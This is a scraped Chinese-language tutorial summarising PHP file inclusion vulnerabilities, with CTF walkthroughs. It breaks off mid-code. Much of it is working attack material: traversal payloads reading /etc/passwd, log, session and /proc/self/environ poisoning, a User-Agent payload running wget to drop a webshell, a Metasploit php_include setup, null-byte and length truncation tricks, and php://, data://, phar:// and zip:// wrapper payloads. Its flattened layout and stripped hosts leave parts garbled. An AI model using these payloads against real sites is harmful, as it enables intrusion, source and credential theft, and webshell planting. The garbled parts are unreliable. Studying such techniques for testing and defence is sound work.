PHP文件包含漏洞的形式总结_第1页
PHP文件包含漏洞的形式总结_第2页
PHP文件包含漏洞的形式总结_第3页
PHP文件包含漏洞的形式总结_第4页
PHP文件包含漏洞的形式总结_第5页
已阅读5页,还剩21页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

PHP文件包含漏洞的形式总结原理文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php中引发文件包含漏洞的通常是以下四个函数:1、include()当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once()功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。3、require()只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行4、require_once()它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url、也都将作为PHP代码执行。这一特性,在实施攻击时非常有用。利用条件(1)include等函数通过动态执行变量的方式引入需要包含的文件;(2)用户能控制该动态变量。分类文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。1、本地文件包含LFI(LocalFileInclude)2、远程文件包含RFI(RemoteFileInclude)(需要php.ini中allow_url_include=on、allow_url_fopen=On)在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。一、本地包含包含同目录下的文件1?file=test.txt目录遍历:1?file=./../../test.txt./当前目录../上一级目录,这样的遍历目录来读取文件包含图片木马命令行下执行:1copyx.jpg/b+s.php/bf.jpg上传f.jpg、找到f.jpg路径、包含f.jpg包含日志利用条件:需要知道服务器日志的存储路径,且日志文件可读。很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apache2/。1?file=../../../../../../../../../var/log/apache/error.log1、提交如下请求,将payload插入日志2、可以尝试利用UA插入payload到日志文件3、MSF攻击模块12345678useexploit/unix/webapp/php_includesetrhost28setrport80setphpuri/index.php?file=xxLFIxxsetpath47/setpayloadphp/meterpreter/bind_tcpsetsrvport8888exploit-z日志默认路径apache+Linux日志默认路径1/etc/httpd/logs/access_log或者1/var/log/httpd/accesslogapache+win2003日志默认路径12D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.logIIS6.0+win2003默认日志文件1C:/WINDOWS/system32/LogfilesIIS7.0+win2003默认日志文件1%SystemDrive%/inetpub/logs/LogFilesnginx日志文件在用户安装目录的logs目录下如安装目录为/usr/local/nginx,则日志目录就是在1/usr/local/nginx/logs也可通过其配置文件Nginx.conf,获取到日志的存在路径1/opt/nginx/logs/access.logweb中间件默认配置apache+linux默认配置文件1/etc/httpd/conf/httpd.conf或者1index.php?page=/etc/init.d/httpdIIS6.0+win2003配置文件1C:/Windows/system32/inetsrv/metabase.xmlIIS7.0+WIN配置文件1C:/Windows/System32/inetsrv/config/application/Host.config包含session利用条件:session文件路径已知,且其中内容部分可控。PHP默认生成的Session文件往往存放在/tmp目录下1/tmp/sess_SESSIONID1?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7session文件一般在/tmp目录下,格式为sess_[yourphpsessidvalue],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell包含/proc/self/environ文件利用条件:1、php以cgi方式运行,这样environ才会保持UA头。2、environ文件存储位置已知,且environ文件可读。姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。1?file=../../../../../../../proc/self/environ选择User-Agent写代码如下:1<?system('wget/oneword.txt-Oshell.php');?>然后提交请求。包含临时文件php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。另一种方法phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。有防御的本地文件包含审计中可见这样的包含模版文件:1234<?php

$file=$_GET['file'];

include'/var/www/html/'.$file.'/test/test.php';?>这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。1、%00截断能利用00截断的场景现在应该很少了PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。1?file=../../../../../../../../../etc/passwd%00需要magic_quotes_gpc=off,PHP小于5.3.4有效2、%00截断目录遍历:1?file=../../../../../../../../../var/www/%00需要magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris3、路径长度截断:1?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用"./"的方式即可构造出超长目录字符串:4、点号截断:1?file=../../../../../../../../../boot.ini/………[…]…………php版本小于5.2.8可以成功,只适用windows,点号需要长于2565、编码绕过服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。利用url编码:1../-》%2e%2e%2f-》..%2f-》%2e%2e/1..\-》%2e%2e%5c-》..%5c-》%2e%2e\二次编码:1../-》%252e%252e%252f1..\-》%252e%252e%255c二、远程文件包含1?file=[http|https|ftp]:///shell.txt可以有三种,http、https、ftp有防御的远程文件包含1234<?php

$basePath=$_GET['path'];

require_once$basePath."/action/m_share.php";

?>攻击者可以构造类似如下的攻击URL123path=http://localhost/test/solution.php?=path=http://localhost/test/solution.php%23产生的原理:1/?path=http://localhost/test/solution.php?最终目标应用程序代码实际上执行了:12require_once"http://localhost/test/solution.php?/action/m_share.php";注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合PHP中的封装协议(伪协议)1/manual/zh/wrappers.php1234567891011121314file:///var/www/html访问本地文件系统ftp://<login>:<password>@<ftpserveraddress>访问FTP(s)URLsdata://数据流http://—访问HTTP(s)URLsftp://—访问FTP(s)URLsphp://—访问各个输入/输出流zlib://—压缩流data://—Data(RFC2397)glob://—查找匹配的文件路径模式phar://—PHPArchivessh2://—SecureShell2rar://—RARogg://—Audiostreamsexpect://—处理交互式的流利用php流input:利用条件:1、allow_url_include=On。2、对allow_url_fopen不做要求。123index.php?file=php://inputPOST:<?phpinfo();?>结果将在index.php所在文件下的文件shell.php内增加"<?phpphpinfo();?>"一句话利用php流filter:1?file=php://filter/convert.base64-encode/resource=index.php通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。其他姿势:1index.php?file=php://filter/convert.base64-encode/resource=index.php效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。利用dataURIs:利用条件:1、php版本大于等于php5.22、allow_url_fopen=On3、allow_url_include=On利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中1?file=data:text/plain,<?phpphpinfo();?>1?file=data:text/plain;base64,base64编码的payload1index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?phpphpinfo();?>需要allow_url_include=On利用XSS执行任意代码:1?file=/path/xss.php?xss=phpcode利用条件:1、allow_url_fopen=On2、并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊glob://伪协议glob://查找匹配的文件路径模式phar://利用条件:1、php版本大于等于php5.3.0姿势:假设有个文件phpinfo.txt,其内容为<?phpphpinfo();?>,打包成zip压缩包,如下:指定绝对路径1index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt或者使用相对路径(这里test.zip就在当前目录下)1index.php?file=phar://test.zip/phpinfo.txtzip://利用条件:1、php版本大于等于php5.3.0123456<?php$file=$_GET['file'];if(isset($file)&&strtolower(substr($file,-4))==".jpg"){

include($file);}?>截取过来的后面4格字符,判断是不是jpg,如果是jpg才进行包含但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。然后我们构造zip://php.zip#php.jpg12index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg注意事项:1、若是使用相对路径,则会包含失败。2、协议原型:zip://archive.zip#dir/file.txt3、注意url编码,因为这个#会和url协议中的#冲突CTF中的文件包含套路php伪协议读取源码点击login,发现链接变为:152:1/index.php?action=login.php推测文件包含访问:152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php得到源码贪婪包含iscc2018的一道题目,打开题目查看源码知道这里调用show.php?img=1.jpg访问,并修改1的值大概可以猜测文件包含漏洞,尝试1img=php://filter/read=convert.base64-encode/resource=show.php但是不行题目的坑点在于还需要包含jpg,这就是贪婪包含所在,也就是后台某处代码所致,12curl

img=php://filter/resource=jpg/resource=show.php12345678910111213141516171819202122232425262728293031323334<?phperror_reporting(0);ini_set('display_errors','Off');include('config.php');$img=$_GET['img'];if(isset($img)&&!empty($img)){

if(strpos($img,'jpg')!==false)

{

if(strpos($img,'resource=')!==false&&preg_match('/resource=.*jpg/i',$img)===0)

{

die('Filenotfound.');

}

preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);

if(isset($matches[1]))

{

$img=$matches[1];

}

header('Content-Type:image/jpeg');

$data=get_contents($img);

echo$data;

}

else

{

die('Filenotfound.');

}}else{

?>

<imgsrc="1.jpg">

<?php}?>1、开头包含了config.php2、img必须有jpg但又不能有resource=.*jpg3、正则检查了并把结果填充到$matches里去,说明我们可以使用php://filter伪协议,并且resource的值不含|,那么我们就可以用|来分隔php和jpg,因为正则匹配到|就不会继续匹配后面的jpg了,使得\$img=show.php知道了config.php再去访问明白为什么必须包含jpg1234567891011121314<?phpfunctionget_contents($img){

if(strpos($img,'jpg')!==false)

{

returnfile_get_contents($img);

}

else

{

header('Content-Type:text/html');

returnfile_get_contents($img);

}}?>最终payload:1img=php://filter/resource=../flag.php|jpg%00截断要求:1、php版本小于5.3.42、magic_quotes_gpc为off状态大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是include(BASEPATH.$mod.’.php’)或者include($mod.’.php’)这样的方式,如果我们不能写入.php为扩展名的文件,那我们是需要截断来利用的受限与gpc和addslashes等函数的过滤,另外,php5.3之后的版本全面修复了%00截断的问题123<?phpinclude($_GET['a'].'.php')?>上传我们的2.txt文件,请求1http://localhost/test/1.php?a=2.txt%00即可执行2.txt中phpinfo的代码列子二漏洞文件index.php12345678910<?phpif(empty($_GET["file"])){

echo('../flag.php');

return;}else{

$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';

include$filename;}?>flag文件放在上层目录这里限制了后缀名,我们需要通过截断才能访问到flag文件利用代码:1index.php?file=../../flag.php%00%00会被解析为0x00,所以导致截断的发生我们通过截断成功的绕过了后缀限制路径长度截断我们现在已经知道使用%00截断有两个条件php版本小于5.3.4和magic_quotes_gpc为off状态。如果这时我们将magic_quotes_gpc改为on那么就不能截断了,因为开启magic_quotes_gpc后%00会被加上一个反斜杠转义掉那么我们这时候有没有办法绕过这个限制呢?有一个条件那就是php版本小于5.3.10我们的代码依旧不变漏洞文件index.php12345678910<?phpif(emp

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论